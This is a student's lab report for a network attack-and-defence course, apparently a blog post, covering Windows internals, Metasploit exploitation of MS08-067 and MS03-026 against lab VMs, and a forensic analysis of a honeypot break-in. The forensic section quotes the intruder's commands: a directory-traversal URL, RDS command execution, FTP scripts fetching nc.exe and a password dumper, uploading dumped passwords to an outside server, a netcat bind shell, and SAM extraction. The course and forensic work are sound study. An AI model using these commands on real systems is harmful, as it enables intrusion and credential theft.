20212905 2021-2022-2 《网络攻防实践》第六次作业

20212905 2021-2022-2 《网络攻防实践》第六次作业

1.实验内容

  1. 动手实践Metasploit
  2. 取证分析实践:解码一次成功的NT系统破解攻击
  3. 团队对抗实践:windows系统远程渗透攻击和分析

Windows 基本结构

下表是 Windoows 系统核心组件的文件名:

文件名 组件
Ntoskrnl.exe 执行体和内核
Ntkrnlpa.exe (32位才有) 支持 PAE
Hal.dll 硬件抽象层
Win32k.sys 子系统的内核模式部分
Ntdll.dll 内部函数
Kernal32.dll,Advapi32.dll,User32.dll,Gdi32.dll 核心子系统的组件

Windows 操作系统内核的基本模块包括如下:

  • Windows 执行体:即 Windows 内核核心文件 ntoskrnl.exe 的上层接口,包含基本的操作系统内核服务,如进程与线程管理、内存管理、I/O 管理、网络连接、进程间通信,以及安全服务。
  • Windows 内核体:即 Windows 内核核心文件 moskrnl.exe 中函数实现与硬件体系结构支持代码,实现底层的操作系统功能,如线程调度、中断和异常分发处理、多处理器同步机制等,同时也提供了一组内核例程与基本对象,以帮助执行体来实现的高层次的功能服务。
  • 设备驱动程序:包括将用户 I/O 操作映射为特定硬件设备 I/O 请求的硬件设备驱动程序,以及文件系统与网络设备驱动程序。该部分支持通过数字签名认证的第三方硬件厂商的硬件设备驱动程序加载进入内核执行。
  • 硬件抽象层:即 hal.dll 文件,是用于屏蔽 Windows 内核与平台硬件差异性的底层代码。
  • Windows 窗口与图形界面接口内核实现代码:即 win32k.sys 文件。

Windows 橾作系统在用户态的代码模块则包括如下:

  • 系统支持进程:Windows 开机自动启动的系统内建服务进程,如负责登录用户身份认证的 logon 进程、会话管理进程等。
  • 环境子系统服务进程:为操作系统运行环境提供支待的服务进程,Windows XP 只支待 Windows 环境子系统,而符合 POSIX 标准的环境子系统则作为 UNIX 产品的免费服务所提供。
  • 服务进程:通过 Windows 的服务管理机制所启动的系统及网络服务,如 Task Scheduler 任务管理器服务,Microsoft SQL Server 网络服务等。
  • 用户应用软件:在用户态执行的各类用户应用软件。
  • 核心子系统 DLL: 即 kernel32.dll/user32.dll/gdi32.dll/advapi32.dll 等动态连接库文件,作为用户态服务进程与应用软件和操作系统内核的交互接口,将用户态程序调用的系统 API 函数映射到相应的一个或多个 Windows 内部的系统服务调用。

Windows 远程安全攻防技术

  • 远程口令猜测与破解攻击;
  • 攻击 Windows 网络服务;
  • 攻击 Windows 客户端及用户。

针对特定目标的渗透测试攻击过程

  • 漏洞扫描测试:渗透测试者可以对目标系统扫描,从而发现系统中存在的已知安全漏洞。
  • 查找针对发现漏洞的渗透代码:根据安全漏洞信息库中的索引信息,渗透测试者可以在安全社区的一些渗透攻击代码资源共享站点找到针对特定安全漏洞的渗透攻击代码资源。
  • 实施渗透测试:在选择完毕针对特定目标存在安全漏洞的渗透代码之后,渗透测试者就可以实施真正的漏洞利用攻击过程,但可否达成测试者的预期目标则取决于渗透代码和攻击目标的软件环境是否匹配。

Meatsploit 简介

Metasploit 自 2004 年问世时,就立即引起了整个安全社区的高度关注,并很快成为最流行的渗透测试软件。Metasploit 不仅为渗透测试的初学者提供了一款功能强大、简单易用的软件,其漏洞利用代码库还是安全技术人员进行漏洞分析与研究的重要资源。甚至,当前 Metasploit 已经成为安全社区进行软件安全漏洞分析研究与开发的通用平台。随着 Metasploit 的流行,以 Metasploit 模块发布的漏洞利用程序成为漏洞发布的主流,同时相关书籍、资料也如泉涌般涌入市面。毋庸置疑,Meatsploit 已经成为安全社区一颗璀璨的明珠,是安全技术人员“出门在外,有备无患”的渗透测试软件。

2.实验过程

2.1 动手实践Metasploit

使用kali攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权

攻击机和靶机的IP地址为:

主机 IP地址
靶机A(VM_Metasploitable_xpsp1) 192.168.200.192
攻击机B(kali) 192.168.200.195

首先在攻击机B上打开msf,搜索ms08-067

使用exploit/windows/smb/ms08_067_netapi,并使用options查看需要设置的选项

设置目标为靶机A的IP地址,执行set RHOSTS 192.168.200.192
设置本机set LHOST 192.168.200.195

执行show payloads查看可用的payload,这里使用windows/shell/reverse_tcp,执行set payload windows/shell/reverse_tcp

然后执行exploit

2.2 取证分析实践

来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。

  • 攻击者使用了什么破解工具进行攻击
  • 攻击者如何使用这个破解工具进入并控制了系统
  • 攻击者获得系统访问权限后做了什么
  • 我们如何防止这样的攻击
  • 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么

使用Wireshark打开流量包,在过滤器中输入ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106

在tcp流7中,发现了攻击者构造了/guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini,穿越目录读取到了boot.ini文件

在tcp流11中,发现了类似sql注入的请求

其中--!ADM!ROX!YOUR!WORLD!--可能为利用脚本的特征,搜索发现攻击者使用了CVE-1999-1011的利用脚本,IIS 3.x 和 4.x 中 Microsoft 数据访问组件 (MDAC) 的远程数据服务 (RDS) DataFactory 组件公开了不安全的方法,允许远程攻击者执行任意命令。

分析该请求,攻击者利用该漏洞执行了cmd /c echo werd >> c:\fun

然后攻击者利用目录穿越漏洞读取c:\fun,来验证已经成功执行刚才的命令

接下来,从tcp流14开始,攻击者又利用该漏洞依次执行了

  1. cmd /c echo user johna2k > ftpcom
  2. cmd /c echo hacker2000 >> ftpcom
  3. cmd /c echo get samdump.dll >> ftpcom
  4. cmd /c echo get pdump.exe >> ftpcom
  5. cmd /c echo get nc.exe >> ftpcom
  6. cmd /c echo quit >> ftpcom
  7. cmd /c ftp -s:ftpcom -n www.nether.net

分析发现,攻击者执行上述命令,可以在靶机上使用ftp下载了samdump.dllpdump.exenc.exe。但登录时提示登录失败,无法成功执行

然后从tcp流30开始,攻击者继续利用该漏洞依次执行了

  1. cmd /c pdump.exe >> new.pass
  2. cmd /c echo user johna2k > ftpcom2
  3. cmd /c echo hacker2000 >> ftpcom2
  4. cmd /c put new.pass >> ftpcom2
  5. cmd /c echo quit >> ftpcom2
  6. cmd /c ftp -s:ftpcom2 -n www.nether.net

分析发现,攻击者执行上述命令,可以在靶机上使用pdump.exe获取了密码,存入new.pass中,并上传到ftp服务器上。但登录时提示登录失败,无法成功执行

最后在tcp流106,攻击者终于成功登录并成功执行

然后在tcp流109中,攻击者执行/c nc -l -p 6969 -e cmd1.exe,然后在tcp流111中,通过6969与靶机通信,获得了靶机的一个shell

攻击者尝试查看一些用户信息,执行了net session,但是无权限

然后执行net users获取用户列表

攻击者尝试通过net group查看组用户、net locagroup查看本地组用户、以及net group domain admins查看所有域管理员列表,但都无权限

然后攻击者删除了samdumppdump。使用rdisk尝试获得SAM口令文件(安全账号管理器),rdisk 是磁盘修复程序,执行 rdisk /s- 备份关键系统信息,在 /repair 目录中就会创建一个名为 sam._ 的 SAM 压缩拷贝,并且攻击者把这个文件拷贝到 har.txt 并打印

为了防止这样的攻击,应该升级系统到最新的稳定版本,及时更新微软官方的漏洞补丁

在tcp流174中,可以发现攻击者输出了best honeypot i've seen till now :)rfp.txt中,说明攻击者已经发现该靶机为蜜罐

2.3 团队对抗实践:windows系统远程渗透攻击和分析

攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)

防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。

防守方和攻击方B的IP地址为:

主机 IP地址
防守方A(Win2kServer_SP0_target) 192.168.200.194
攻击方B(kali) 192.168.200.195

打开msf,使用windows/dcerpc/ms03_026_dcom

ms03_026漏洞利用了 RPCSS 服务中的堆栈缓冲区溢出,该漏洞最初是由 Delirium 研究组的最后阶段发现的,此后一直被广泛利用。漏洞实质上影响的是使用RPC的DCOM接口,此接口处理由客户端机器发送给服务器的DCOM对象激活请求(如UNC路径)。攻击者通过向目标发送畸形 RPC DCOM请求来利用这些漏洞。成功利用此漏洞可以以本地系统权限执行任意指令。攻击者可以在系统上执行任意操作  ,如安装程序、查看或更改、删除数据或创建系统管理员权限的帐户。

然后设置好RHOST和RPORT,设置payload为windows/shell/reverse_tcp

打开wireshark,然后在msf中执行exploit

在wireshark中,捕获到了漏洞利用然后远程执行命令的过程

3.学习中遇到的问题及解决

使用msf实验时,默认的payload为windows/meterpreter/reverse_tcp,该payload的功能也更加全面,但使用该payload攻击时经常不成功,可能因为时目标靶机的系统版本太低和性能太弱,攻击后靶机会失去响应并宕机,修改payload为windows/shell/reverse_tcp后,可以成功执行exploit。

4.实践总结

通过本次实验,学习掌握了使用Metasploit攻击windows系统,通过取证分析实践,分析了了一次成功的NT系统破解攻,最后在团队对抗实践中,通过windows系统远程渗透攻击和分析,对Windows系统攻防有了更加深入的体会。

posted @ 2022-04-19 20:19  daolgts  阅读(188)  评论(0编辑  收藏  举报